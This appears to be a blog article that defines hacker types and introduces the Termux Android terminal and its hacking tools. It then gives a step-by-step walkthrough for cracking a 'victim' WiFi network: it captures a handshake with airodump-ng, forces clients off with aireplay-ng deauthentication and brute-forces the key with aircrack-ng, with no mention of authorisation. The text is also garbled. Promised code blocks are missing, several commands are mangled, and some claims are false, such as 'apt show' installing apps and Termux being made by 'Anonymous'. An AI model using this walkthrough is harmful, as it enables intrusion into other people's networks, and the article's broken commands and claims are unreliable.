What is Hacking?

Hacking is the activity of identifying weaknesses in a computer system or a network to exploit the security to gain access to personal data or business data. An example of computer hacking can be: using a password cracking algorithm to gain access to a computer system.

Computers have become mandatory to run a successful businesses. It is not enough to have isolated computers systems; they need to be networked to facilitate communication with external businesses. This exposes them to the outside world and hacking. System hacking means using computers to commit fraudulent acts such as fraud, privacy invasion, stealing corporate/personal data, etc. Cyber crimes cost many organizations millions of dollars every year. Businesses need to protect themselves against such attacks.

Who is a Hacker?

Hacker is a person who finds and exploits the weakness in computer systems and/or networks to gain access. Hackers are usually skilled computer programmers with knowledge of computer security.

Types of Hackers

Hackers are classified according to the intent of their actions. The following list classifies types of hackers according to their intent:

Ethical Hacker (White hat): A security hacker who gains access to systems with a view to fix the identified weaknesses. They may also perform penetration Testing and vulnerability assessments.
Cracker (Black hat): A hacker who gains unauthorized access to computer systems for personal gain. The intent is usually to steal corporate data, violate privacy rights, transfer funds from bank accounts etc.
Grey hat: A hacker who is in between ethical and black hat hackers. He/she breaks into computer systems without authority with a view to identify weaknesses and reveal them to the system owner.
Script kiddies: A non-skilled person who gains access to computer systems using already made tools.
Hacktivist: A hacker who use hacking to send social, religious, and political, etc. messages. This is usually done by hijacking websites and leaving the message on the hijacked website.
Phreaker: A hacker who identifies and exploits weaknesses in telephones instead of computers.

Termux Hacks Complete Guide All You Need To Know

Termux is an Android Terminal Emulator and Linux Environment App that works directly with no rooting or setup required. A minimal base system is installed automatically – additional packages are available using the APT package manager.

A Third Party developer called “Anonymous” has developed a Linux-self contained App called “Termux” which is used to install Linux based apps in Android and helps in running pure Linux apps in Android.

In this guide we will learn about various Termux hacks, termux tutorials, termux wifi hack commands list, termux guide, termux tools, apk & packages & termux uses. and if you are wondering why do I need LINUX apps? in android then you can read this tutorial

TERMUX apps like HYDRA and NMAP are easy to use and install. They are also platform independent and their Android versions are also identical to their LINUX versions.TERMUX’s uniqueness lies in its non-rooting installation facility. Rooting means having privileged facility over applications installed.

This feature makes it easy for users to install complex software like NMAP and HYDRA.

Termux Tools:

NMAP is an open source Network mapper written by Gordon Lyon (also known as Fyodor Vaskovich). As the above suggests, its purpose is to scan for hosts and networks in a particular area through sending specially crafted data packets and analysing their responses. In the hands of Cyber Security experts, it is considered as an effective tool of Network Audit, performing Security Scans and for conducting other similar Network Security Activities.

‘NMAP’ can be installed in TERMUX by typing the following: “pkg install nmap”. The installation is fast and swift. After that you can use ‘NMAP’ by typing out its name in the terminal.

HYDRA is another command line based computer program capable of performing dictionary attacks on exposed protocols and networks.

Some must have tools:

 Tool-x allows you to install 240 hacking tools on your mobile phone without root! Ranges from information gathering, scanning tools, bruteforce, wifi hacking, vulnerability exploiting and much more.

Termux Complete Guide:

Termux is available on Google PlayStore and F-Droid. It is free to download and easy to use. One must also download its plugins which help the app interface with Android API.

Pro Tip :

Also download Hacker Keyboard which has CTRL and ESC buttons in it. You’ll be needing it while working in the app. Better get it from F-Droid.

Let’s set it up now that we have downloaded the app. Since it’s a command line app like DOS, you have to rely on your memorising skills to master the app. Type the command: “pkg upgrade” to update all the built in packages then run “touch.hushlogin”This helps unlock all the packages which you will require for your work.

For Example, a certain Mr. John had after downloading the app acquired the following packages: Python, Ruby, NodeJS, GO and C Programming through the following magical code:

Moving on to setting workspace. TERMUX provides the following as default save location for all your files:


But you can also change location by using the following example code:

mkdir notes gh homework temp

Next is configuring the dotfiles. Following is an example:

cd gh && git clone https://github.com/konradit/dotfiles.git && cp dotfiles/bashrc ~/.bashrc

Now install the basic packages using the following example and then Type exit to exit and enter the terminal again. The code is:

pkg install coreutilstermux-apitermux-exec termux-tools grep tree ncurses-utilsopensshgpg

Now you got a wicked terminal. Shorthand commands are:

n: cd $HOME/notes
nn: cd $HOME/notes && vim
t: cd $HOME/temp
gh: cd $HOME/gh
hh: cd $HOME/homework

Additionally you can just type the name of the directory and cd to it.If you want to have tmux run automatically when you enter the shell:

echo “tmux” >> ~/.bashrc

Pro tip: long press to copy/paste, change color scheme and change font!

The uses of TERMUX are limitless. There are people who host servers using it, some download youtube videos using it as sort of incognito mode methods plus there are also you-know “research” stuff done by certain individuals.

Given it’s a software, its list of useful commands are also limitless. Below is a list of sample commands provided by my friends used in TERMUX acquired by me due to sheer lack of proper resource material available for this paper. Here are the codes with their descriptions:

pip install youtube-dlFor installing Youtube-dl
Packages install pythonInstalls Python
termux-setup-storageGives TERMUX access to your file system
mkdir ‘dir-nameFor creating directory
cd “dir-name”For changing directory
cat “file-name”For reading any file
mv /path/file  /path where file is movedFor moving files from one path to another.
cp  /path/file  /path where to copy fileFor copying files from one path to other
rm filename.file-extensionFor removing mentioned file from a certain directory.
ping “website URL”Helps verify IP level connectivity
toilet -f mono12 -F gay “your text”Presents text in a specified format.
apt show (app-name)Gives a short but detailed summary on mentioned name of desired app.
apt show (app-name)Installs the desired app

#3. How To Hack Wifi Using Termux (Termux WiFi hack commands list):

There is one software called “aircrack-ng” which you need to first download using Google’s help. Then follow the steps given below:

First connect your wifi-adapter to your device using an OTG cable

1) Friends first open Your Gnu Root Debian terminal or root terminal and start the monitor mode by typing these commands :


airmon-ng start wlan0

2) Now start the network detecting by typing this command :

airodump-ng wlan0mon

Here you see your target device and stop the detecting by control + z.

3) Now create one folder and name it cap on your desktop or sd card and also create a password list to brute force the WiFi handshake ,collect the information about victim and create the password list for brute force.

4) Copy victim’s BSSID and also note the target channel CH number and type this command :

airodump-ng -c 6 --bssid00:26:44:AB:C5:C0 -w /root/Desktop/cap/ wlan0mon-w

There you must give the cap folder path if your created this cap folder on sdcard then you can give this path : -w /sdcard/cap/ wlan0mon

5) Now open another terminal and disconnect all devices with this command and capture a wifi handshake type same command but use here target bssid :

aireeplay-ng -0 5 -a 00:26:44:AB:C5:C0 -wlan0mon

now stop attack by control+z and close the terminal

6) now paste the password list in your cap folder and also go into the cap folder directory

Now crack with this command :

aircrack-ng -w pass.list 01.cap

7) this is a brute force attack if any password match to the handshake then it will be cracked.and you get the key (means passwords)

#4. Turn Android Device into a Web Server
